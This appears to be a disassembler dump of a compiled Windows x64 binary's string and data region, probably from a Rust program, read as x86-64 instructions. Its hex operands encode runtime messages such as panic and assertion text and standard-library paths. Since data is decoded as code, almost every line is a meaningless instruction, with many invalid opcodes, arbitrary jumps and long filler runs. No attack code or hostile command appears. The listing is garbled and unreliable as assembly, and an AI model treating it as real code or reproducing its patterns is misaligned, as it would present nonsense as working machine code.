add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x140058b], ah
add byte [rax], al
add byte [rdi + 0x75], cl
jne 0x14013c3c7
invalid
outsd dx, dword [rsi]
and byte [rdx + 0x6f], ah
jne 0x14013c3c9
jae 0x14013c37e
invalid
cmp byte [rbx + 0x32], ah
xor al, 0x66
xor eax, 0x61303566
invalid
xor eax, 0x65636130
xor eax, 0x37636464
xor eax, 0x33616535
xor dword [rcx], esi
xor al, 0x33
xor eax, 0x64343031
invalid
xor dword [rax], esi
xor al, 0x64
xor esi, dword [rsi]
xor eax, 0x5c646239
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
invalid
ret
outsb dx, byte [rsi]
invalid
push rbp
outsb dx, byte [rsi]
js 0x14013e115
invalid
push rax
invalid
push rdx
push 0x65
invalid
push rdx
insb byte [rdi], dx
invalid
jbe 0x14013e145
jb 0x14013e148
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x14013e14b
push rbx
je 0x14013e15c
invalid
invalid
imul r14, qword [r11 + 0x73], 0x55676e69
jb 0x14013e172
push rbx
invalid
push 0x7469726f
jns 0x14013e16c
push rax
push rax
outsd dx, dword [rsi]
insb byte [rdi], dx
insb byte [rdi], dx
push rdx
jae 0x14013e188
je 0x14013e166
je 0x14013e18d
jb 0x14013e17d
outsb dx, byte gs:[rsi]
push rdx
jae 0x14013e1a1
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x14013e19a
push rbx
outsb dx, byte gs:[rsi]
push rax
imul ebp, dword [rsi + 0x67], 0x6c696857
push rax
outsb dx, byte gs:[rsi]
imul ebp, dword fs:[rsi + 0x67], 0x646e6553
push rbx
push rbx
push rbx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
push rbx
je 0x14013e1c5
imul ebp, dword [rsi + 0x67], 0x69685773
insb byte [rdi], dx
push rax
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
imul ebp, dword fs:[rsi + 0x67], 0x72656550
imul r14d, dword [rbx + 0x61], 0x64656c62
push rax
jb 0x14013e1aa
imul esi, dword [rbx + 0x61], 0x64656c62
push rbx
push rbx
jb 0x14013e1e7
jb 0x14013e1c4
jb 0x14013e1c4
jne 0x14013e1e9
push 0x7262694c
invalid
imul r12, qword [rdx + 0x72], 0x52797261
jns 0x14013e1d1
push rdx
insd dword [rdi], dx
outsd dx, dword [rsi]
je 0x14013e1e9
insb byte [rdi], dx
invalid
jae 0x14013e1ef
add byte fs:[rax], al
add byte [rax], al
add byte [rax], ah
insb byte [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop
mov cs, word [rdx]
add dword [rax], eax
add byte [rax], al
rol ch, 1
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rbx], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
and eax, 0x9000002
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400a8e], dl
or al, byte [rax + 1]
add byte [rax], al
add al, dl
invalid
or dword [rax], eax
add byte [rax], al
jo 0x14013e230
add byte [rax], al
add byte [rdi + 0x70], cl
jo 0x14013e230
outsb dx, byte [rsi]
outsb dx, byte [rsi]
insb byte [rdi], dx
outsd dx, dword [rsi]
jae 0x14013e236
add byte fs:[rax], al
add byte [rax], al
add byte [rax], al
and byte [rax + rax + 0x40], ch
add dword [rax], eax
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, dh
fild word [rax + rax*2]
add dword [rax], eax
add byte [rax], al
and byte [rax + rax + 0x40], ch
add dword [rax], eax
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop
invalid
loopne 0x14013e20e
add al, 0x40
add dword [rax], eax
add byte [rax], al
push rbx
je 0x14013e2ad
invalid
je 0x14013e318
outsb dx, byte [rsi]
jne 0x14013e317
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rax + rax + 0x40], ch
add dword [rax], eax
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rbx + 9], 0x40
add dword [rax], eax
add byte [rax], al
outsd dx, dword [rsi]
jns 0x14013e328
jo 0x14013e322
insb byte [rdi], dx
imul esi, dword [rsi + 0x65], 0x53646e45
je 0x14013e35d
invalid
push rdx
push rdx
insd dword [rdi], dx
outsd dx, dword [rsi]
je 0x14013e383
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
insb byte [rdi], dx
jb 0x14013e38a
insd dword [rdi], dx
outsd dx, dword [rsi]
je 0x14013e38e
invalid
invalid
jo 0x14013e3d1
jae 0x14013e3c7
outsb dx, byte [rsi]
je 0x14013e3a8
cmp bl, byte [rbp + rdx*2 + 0x73]
jb 0x14013e3df
pop rsp
push rbp
jae 0x14013e3d5
jb 0x14013e3ce
invalid
jb 0x14013e3e8
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x14013e3f0
js 0x14013e3ba
invalid
invalid
je 0x14013e3f6
jae 0x14013e3c1
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dh, byte fs:[rdx]
invalid
invalid
jb 0x14013e425
je 0x14013e423
pop rsp
outsb dx, byte gs:[rsi]
invalid
jb 0x14013e43c
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + riz*8 + 0x13], ah
add byte [rax], al
jrcxz 0x14013e3e6
jrcxz 0x14013e3e6
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov bh, 0
add byte [rax], al
invalid
add byte [rdi + 0xe000000], dh
add byte [rax], al
add byte [rbx + riz*8 + 0x13], ah
add byte [rax], al
jrcxz 0x14013e3fe
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x20000000], bh
add byte [rax], al
mov eax, 0x20000000
add byte [rax], al
add byte [rbx + riz*8 + 0x13], ah
add byte [rax], al
jrcxz 0x14013e416
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x26000000], bl
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
add byte [rax], al
cmp bl, byte [r13 + r10*2 + 0x73]
jb 0x14013e493
jb 0x14013e493
pop rsp
push rbp
jae 0x14013e489
jb 0x14013e482
jb 0x14013e482
pop rsp
invalid
js 0x14013e46e
invalid
outsb dx, byte [rsi]
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rax
add byte [rax], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
xor eax, dword [rax]
add byte [rax], al
jne 0x14013e505
add byte [rax], al
add byte [rbx], dh
add byte [rax], al
add byte [rbp + 0x73], dh
jne 0x14013e505
imul edi, dword [rdx + 0x65], 0x65766f20
jb 0x14013e501
jp 0x14013e4fa
and byte [rdi + 0x76], ch
jb 0x14013e501
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x14013e4bf
ja 0x14013e509
outsb dx, byte gs:[rsi]
and byte [rbx + 0x61], ah
insb byte [rdi], dx
invalid
add byte [rax], bl
in al, 0x13
add dword [rax], eax
add byte [rax], al
pop rsi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
or al, byte [rax]
add byte [rax], al
jo 0x14013e549
imul esi, dword [rbx + 0x6f], 0x6e64656e
ja 0x14013e543
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
and byte [0x1a334200d], bh
invalid
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rdx], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dl, ch
in al, 0x13
add dword [rax], eax
add byte [rax], al
or eax, 0
add byte [rax], al
add byte [rax - 0x44], dl
adc al, 0x40
add dword [rax], eax
add byte [rax], al
pop rdi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 4], al
add byte [rax], al
or dword [rax], eax
add byte [rax], al
cmp bl, byte [r13 + r10*2 + 0x73]
jb 0x14013e5ab
pop rsp
push rbp
jae 0x14013e5a1
jb 0x14013e59a
invalid
outsd dx, dword [rsi]
pop rsp
jb 0x14013e5ac
imul esi, dword [ebx + 0x74], 0x735c7972
jb 0x14013e5b4
jae 0x14013e5bf
jb 0x14013e5c6
pop rsp
jae 0x14013e5c2
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x14013e5bc
je 0x14013e5c2
jae 0x14013e58d
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dh, byte fs:[rdx]
invalid
jb 0x14013e5f4
invalid
imul edi, dword [rdx + 0x65], 0x657a6953
ja 0x14013e617
js 0x14013e61b
outsb dx, byte gs:[rsi]
jae 0x14013e614
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
imul edi, dword [rdx + 0x65], 0x6f42664c
outsd dx, dword [rsi]
jns 0x14013e5fb
jb 0x14013e5fc
outsd dx, dword [rsi]
jns 0x14013e60a
jns 0x14013e60a
push sp
push rsp
jb 0x14013e623
imul ebp, dword [rbp + riz*2 + 0x72], 0x69617254
insb byte [rdi], dx
jb 0x14013e61a
push rsp
jb 0x14013e62a
imul ebp, dword [rbp + riz*2 + 0x72], 0x6e45664c
outsb dx, byte [rsi]
jb 0x14013e61a
outsb dx, byte [rsi]
outsb dx, byte fs:[rsi]
cmp bl, byte fs:[r13 + r10*2 + 0x73]
jb 0x14013e657
pop rsp
push rbp
jae 0x14013e64d
jb 0x14013e646
invalid
imul esi, dword [rbx + 0x74], 0x735c7972
jb 0x14013e660
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x14013e668
je 0x14013e66e
jae 0x14013e639
imul ebp, dword cs:[rdi + 0x2d], 0x37316636
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dh, byte fs:[rdx]
invalid
xor ah, byte [rdx + 0x62]
invalid
xor byte [rax], dh
xor dword [rsi + 0x5c], esp
xor byte [rcx], dh
pop sp
invalid
jae 0x14013e652
xor dword [rsi], ebp
xor eax, 0x735c302e
jb 0x14013e691
pop rsp
jae 0x14013e69f
invalid
pop rsp
invalid
jae 0x14013e69c
jae 0x14013e6b0
jb 0x14013e6b4
imul ebp, dword [rdi + 0x6e], 0x69616620
insb byte [rdi], dx
cmp ah, byte fs:[rax]
invalid
imul ebp, dword [rbp + riz*2 + 0x64], 0x6e63203a
outsb dx, byte [rsi]
je 0x14013e670
cmp al, 0x3d
and byte [rbx + 0x65], dh
insb byte [rdi], dx
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword [rbp + 0x69], 0x74
fsubr st(5), st(0)
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rsi], bl
add byte [rax], al
add byte [rax], al
pop rsi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x9000000], cl
add byte [rax], al
add byte [rcx + 0x6e], cl
outsb dx, byte [rsi]
add byte [rax], al
pop qword [rax]
add byte [rax], al
or dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
invalid
invalid
cmp al, 0x3d
and byte [rbx + 0x65], dh
jae 0x14013e706
insb byte [rdi], dx
invalid
sub byte gs:[rcx], ch
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
sub byte [rcx], ch
and byte [rcx + 0x73], ah
and byte [rbp + 0x36], dh
xor al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor ch, ah
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rax + rax], ah
add byte [rax], al
add byte [rax], al
add byte [rdi], dl
add al, 0
add byte [rcx], cl
add byte [rax], al
add byte [rax], dh
in eax, 0x13
add dword [rax], eax
add byte [rax], al
add byte fs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rax + 0x1f0000], cl
add byte [rax], al
push 0x6f6b6365
jne 0x14013e774
jae 0x14013e746
insb byte [rdi], dx
outsd dx, dword [rsi]
jae 0x14013e76c
jb 0x14013e77d
jb 0x14013e77d
outsd dx, dword [rsi]
jb 0x14013e754
outsd dx, dword [rsi]
jb 0x14013e774
je 0x14013e789
jb 0x14013e7b7
jb 0x14013e74a
add dword [rax], eax
add byte [rax], al
imul eax, dword [rax], 0
add byte [rax], al
pop rdx
add al, 0
add byte [rsi], al
add byte [rax], al
cmp bl, byte [r13 + r10*2 + 0x73]
jb 0x14013e7e3
jae 0x14013e7d3
pop rsp
push rbp
jae 0x14013e7d9
jb 0x14013e7d2
invalid
jb 0x14013e7e4
imul esi, dword [ebx + 0x74], 0x735c7972
jb 0x14013e7ec
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x14013e7f4
cmp byte [rbx + rsi*2 + 0x72], bl
invalid
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rdx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
add byte [rax - 0x19], ch
adc eax, dword [rax + 1]
xor dword [rax], eax
add byte [rax], al
push 0x14013e7
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub eax, 0x2b000000
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
jb 0x14013e87b
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x2d000000], ch
add byte [rax], al
add byte [rax], al
call str.0Y0Z0
add byte [rax], al
pop rdi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x3c000000], cl
add byte [rax], al
add byte [rbx + riz*8 + 0x13], ah
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 1], dl
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
jrcxz 0x14013e8be
insd dword [rdi], dx
jo 0x140140a20
jns 0x1401409f7
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x140140a12
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x69], 0x50746967
push rax
push rax
outsd dx, dword [rsi]
jae 0x140140a0c
jbe 0x140140a24
jb 0x140140a27
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140140a13
invalid
jbe 0x140140a2f
jbe 0x140140a2f
jb 0x140140a32
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140140a2a
pop rdx
pop rdx
jb 0x140140a42
push rax
invalid
add byte [rax - 0x78], al
or al, 0x40
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor al, dh
or al, 0x40
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dh
invalid
jo 0x140140a12
or al, 0x40
add dword [rax], eax
add byte [rax], al
push rax
int1
add byte [rax - 0xf], dl
or al, 0x40
add dword [rax], eax
add byte [rax], al
invalid
add byte [rdi], ch
invalid
jb 0x140140aa8
jne 0x140140aa7
jae 0x140140aa9
je 0x140140a65
invalid
jo 0x140140aad
pop rsp
jb 0x140140ab2
jae 0x140140ab3
invalid
insd dword [rdi], dx
invalid
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x14b140a75], bh
add byte [rax], al
add byte [rax], dh
or dl, byte [rax + rax*2]
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], bh
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add byte [rax], dh
or dl, byte [rax + rax*2]
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dh
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add byte [rax], dh
xor byte [rdx], cl
adc al, 0x40
or dl, byte [rax + rax*2]
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], bl
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
sbb al, 0
add byte [rax], al
xor byte [rdx], cl
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], ch
add byte [rax], al
invalid
outsd dx, dword [rsi]
je 0x140146ff2
outsd dx, dword [rsi]
jne 0x14014701d
push rax
push rax
jb 0x140147021
imul esi, dword [rbx + 0x73], 0x446e6f69
outsb dx, byte gs:[rsi]
imul esp, dword [rbp + 0x64], 0x6e6e6f43
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
jae 0x140147058
push rbp
outsb dx, byte [rsi]
jb 0x14014704d
invalid
je 0x14014706a
ja case.0x14001a1b4.150
outsd dx, dword [rsi]
jb 0x140147061
push rbp
outsb dx, byte [rsi]
jb 0x14014705f
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
je case.0x14001a1b4.149
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
jb 0x14014706c
jb 0x14014706c
jb 0x14014706c
outsb dx, byte [rsi]
push rbp
jae 0x14014708c
jb 0x14014707a
outsd dx, dword [rsi]
je case.0x14001a1b4.151
jbe 0x140147092
imul ebp, dword [rcx + riz*2 + 0x62], 0x654e656c
je 0x1401470b2
je 0x1401470b2
outsd dx, dword [rsi]
jb 0x1401470a9
outsd dx, dword [rsi]
ja 0x1401470b0
jb 0x1401470b4
imul esp, dword [rbp + 0x6e], 0x50
imul esi, dword [rax + 0x65], 0x65726c41
insb byte [rdi], dx
jb 0x1401470b5
insb byte [rdi], dx
insb byte [rdi], dx
jb 0x1401470b5
invalid
jae 0x1401470b1
push rdi
outsd dx, dword [rsi]
jne 0x1401470c9
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
je 0x1401470a8
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x1401470ba
invalid
invalid
je 0x1401470dd
jb 0x1401470e9
jae 0x1401470b4
jae 0x1401470b4
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x1401470c1
invalid
jb 0x1401470f5
imul r14d, dword [rdx + 0x65], 0x726f7463
imul esi, dword [rdx + 0x65], 0x726f7463
jns 0x1401470d4
outsd dx, dword [rsi]
je 0x1401470ce
insd dword [rdi], dx
jo 0x140147100
jns 0x1401470e0
push rdx
invalid
outsb dx, byte [rsi]
insb byte [rdi], dx
jns 0x1401470dc
imul ebp, dword [rbp + riz*2 + 0x73], 0x65747379
insd dword [rdi], dx
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jo case.0x14001a1b4.162
push rbx
push rbx
je 0x140147111
insb byte [rdi], dx
je 0x14014712d
je 0x14014712d
je 0x14014712d
ja 0x140147126
outsd dx, dword [rsi]
jb case.0x14001a1b4.164
imul r13d, dword [rbp + r12*2 + 0x48], 0x6c646e61
imul ebp, dword [rbp + riz*2 + 0x48], 0x6c646e61
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
jbe 0x140147128
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x6e], 0x49747570
invalid
outsb dx, byte fs:[rsi]
jo 0x140147143
je 0x140147119
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x140147134
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x61], 0x69546174
push rsp
imul ebp, dword [rbp + 0x65], 0x74754f64
insd dword [rdi], dx
jne 0x140147156
jne 0x140147156
push rdi
jb 0x14014714e
je 0x14014714c
pop rdx
jb 0x14014715a
jb 0x14014715a
push rbx
je 0x14014715d
jb 0x140147151
jne 0x140147161
insb byte [rdi], dx
outsd dx, dword [rsi]
je 0x14014714d
imul esp, dword gs:[rcx + 0x62], 0x6c
imul r13d, dword gs:[rbp + r12*2 + 0x73], 0x65747379
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
push rcx
jne 0x14014717d
je 0x140147171
js 0x140147176
js 0x140147176
imul r13d, dword fs:[rbp + r12*2 + 0x54], 0x614c6f6f
imul r13d, dword [rbp + r12*2 + 0x54], 0x614c6f6f
imul ebp, dword [rbp + riz*2 + 0x54], 0x614c6f6f
jb 0x14014718a
push rdx
push rdx
jae 0x140147197
jae 0x140147197
jne case.0x14001a1b4.173
invalid
jne 0x1401471a2
jns 0x140147176
js 0x140147198
js 0x140147198
invalid
jne 0x1401471aa
invalid
invalid
invalid
jb 0x1401471bc
outsd dx, dword [rsi]
jae 0x1401471c2
jae 0x1401471b5
jae 0x140147196
jae 0x140147196
jbe 0x1401471be
jbe 0x1401471be
invalid
jae 0x1401471ad
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
invalid
outsb dx, byte [rsi]
jns 0x1401471ac
imul ebp, dword [rsi + 0x6b], 0x766e4973
invalid
outsb dx, byte [rsi]
imul esi, dword [rbx + 0x49], 0x6e
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1401471c9
insb byte [rdi], dx
imul esp, dword [rsi + rax*2 + 0x69], 0x616e656c
insd dword [rdi], dx
jb 0x1401471dd
jb 0x1401471dd
jb 0x1401471dd
jne 0x1401471e5
outsb dx, byte gs:[rsi]
je 0x1401471c8
imul esi, dword [rbx + 0x74], 0x4c6f6f54
outsd dx, dword [rsi]
jae 0x1401471f3
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
je 0x1401471ef
jb 0x1401471fe
jne 0x1401471fe
je 0x1401471f5
push rbp
push rbp
outsb dx, byte [rsi]
jae 0x14014720a
jo 0x140147207
jo 0x140147207
outsd dx, dword [rsi]
jb 0x14014720e
push rbp
push rbp
outsb dx, byte [rsi]
js 0x140147211
invalid
invalid
jne 0x140147220
jne 0x140147220
insw word [rdi], dx
insw word [rdi], dx
outsd dx, dword [rsi]
jb 0x14014722d
je 0x14014721f
je 0x14014721f
jb 0x14014720f
push rbp
outsb dx, byte [rsi]
invalid
invalid
outsd dx, dword gs:[esi]
jb 0x14014722c
imul edi, dword [rdx + 0x65], 0x3000064
jp 0x14014722a
add byte fs:[rax], al
add eax, dword [rcx]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
imul r13d, dword [rbp + r12*2 + 0x70], 0x2a687461
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x69], al
invalid
invalid
insb byte [rdi], dx
jo 0x14014723f
invalid
je 0x140147248
sub ah, byte [rsi + 0x61]
je 0x140147246
insb byte [rdi], dx
and byte [rdx + 0x75], dh
outsb dx, byte [rsi]
je 0x140147255
insd dword [rdi], dx
and byte gs:[rbp + 0x72], ah
jb 0x140147262
jb 0x140147264
outsd dx, dword [rsi]
jb 0x14014722f
and byte [rcx + 0x2f], cl
and byte [r13 + 0x72], r12b
jb 0x14014726d
jb 0x14014723a
and byte [rdi + 0x70], ch
jb 0x140147267
je 0x140147271
imul ebp, dword [rdi + 0x6e], 0x69616620
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rsi + 0x61], ah
imul ebp, dword [rbp + riz*2 + 0x64], 0x206f7420
insb byte [rdi], dx
and byte fs:[rdi + rbp*2 + 0x20], dh
and byte [rdi + rbp*2 + 0x20], dh
invalid
jns 0x14014728f
outsb dx, byte [rsi]
invalid
jns 0x140147236
add byte [rax], al
add byte [rax], al
loope 0x1401472a3
add byte [rax], al
add cl, ah
jno 0x140147247
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [r8], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
add byte [rcx + rbp*2 + 0x62], ch
insb byte [rdi], dx
invalid
invalid
jb 0x1401472a6
jb 0x1401472c0
jns 0x1401472a4
pop rsp
jae 0x1401472be
pop rsp
jae 0x1401472c0
invalid
invalid
je 0x140147292
jb 0x1401472d9
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jb 0x140147287
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x72], al
adc al, 0x40
add dword [rax], eax
jb 0x140147287
add dword [rax], eax
add byte [rax], al
add byte es:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], ch
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rsi], cl
push rsp
add byte [rax + rax + 0x4c], al
invalid
invalid
invalid
add byte [rax + rax + 0x2e], cl
add byte [rax + rax + 0x4c], al
add byte cs:[rax + rax + 0x4c], al
add byte [rax + rax], cl
add byte [rdi + 0x53], cl
push r11
and byte [rbp + 0x72], al
jb 0x140147312
jb 0x1401472c5
and byte [rax], ah
and byte [rax], ch
outsd dx, dword [rsi]
sub byte [rsi + 0x6f], al
jb 0x140147318
invalid
and byte fs:[rbp + 0x72], ah
and byte [rbp + 0x72], ah
jb 0x140147334
jb 0x1401472e7
add byte [rdx + rsi*2 + 0x14014], bl
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
movsd dword [rdi], dword [rsi]
jb 0x1401472ef
add dword [rax], eax
add byte [rax], al
and al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
enter 0x14a1, 0x40
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add al, cl
movabs eax, dword [0x1000000014014]
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rbp*2 + 0x62], ch
insb byte [rdi], dx
invalid
invalid
jb 0x14014735e
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
jb 0x140147378
pop rsp
jae 0x140147376
pop rsp
jae 0x140147378
invalid
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
ja 0x14014738a
pop rsp
outsd dx, dword [rsi]
jae 0x140147349
jb 0x140147390
add byte [rax], al
add al, bh
jb 0x140147337
add dword [rax], eax
add byte [rax], al
and eax, 0
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte es:[rax], al
add byte [rax], ah
and byte [rax], ch
outsd dx, dword [rsi]
jb 0x1401473ab
invalid
sub dword [rax], esp
jb 0x1401473b2
je 0x1401473c4
jb 0x1401473bf
and byte fs:[rcx + 0x6e], ch
jbe 0x1401473b9
insb byte [rdi], dx
imul esp, dword [rax + riz + 0x55], 0x312d4654
sub dword ss:[rax], eax
sub eax, 0x293631
add byte [rax], al
add byte [rax], al
pushfq
jb 0x14014737f
add dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0x14], dh
add dword [rax], eax
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
add byte [rbx], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rbp*2 + 0x62], ch
insb byte [rdi], dx
invalid
invalid
jb 0x1401473ee
invalid
jb 0x140147408
pop rsp
jae 0x140147406
pop rsp
jae 0x140147408
invalid
imul ebp, dword [rdi + 0x2e], 0x1017372
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
